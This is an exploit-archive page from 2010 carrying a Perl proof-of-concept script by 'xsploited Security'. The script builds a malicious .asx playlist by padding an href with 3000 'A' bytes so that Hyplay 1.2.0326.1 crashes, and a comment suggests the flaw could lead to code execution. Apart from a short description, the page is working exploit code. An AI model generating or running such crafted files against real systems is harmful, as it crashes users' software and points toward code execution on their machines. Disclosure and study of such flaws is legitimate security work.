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Hyplay 1.2.0326.1 Local Denial Of Service

Hyplay 1.2.0326.1 Local Denial Of Service
Posted May 10, 2010
Authored by xsploited Security

Hyplay version 1.2.0326.1 local denial of service proof of concept exploit that creates a malicious .asx file.

tags | exploit, denial of service, local, proof of concept
SHA-256 | 22444c27310798a4fc9ad9164e2384223ce3fedb5b3534fbef121360daf711ae

Hyplay 1.2.0326.1 Local Denial Of Service

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#/usr/bin/perl
#Title: Hyplay 1.2.0326.1 (.asx) Local DoS crash PoC
#Download: http://www.hyplay.com/download.asp
#Written/Discovered by: xsploited Security
#Tested on Windows XP SP2
#URL: http://x-sploited.com/
#Shoutz: kAoTiX, drizzle, JeremyBrown, BreTT, Deca

#A bug exists in the way Hyplay processes malformed .asx play
#list files. This could potentially lead to code execution on
#the users machine.

my $data1=
"\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20".
"\x22\x33\x2E\x30\x22\x20\x3E\x0D\x0D\x0A\x3C\x65\x6E\x74\x72".
"\x79\x3E\x0D\x0D\x0A".
"\x3C\x72\x65\x66\x20\x68\x72\x65\x66\x20\x3D\x20\x22";

my $data2="http://";

my $data3= #asx file footer
"\x22\x20\x2F\x3E\x0D\x0A\x3C\x2F\x65\x6E\x74\x72\x79\x3E\x0D".
"\x0A\x3C\x2F\x61\x73\x78\x3E";

my $junk = "\x41" x 3000;
open(my $playlist, "> hyplay_d0s.asx");
print $playlist $data1.$data2.$junk.$data3."\r\n";
close $playlist;
print "\nEvil asx file created successfully.";
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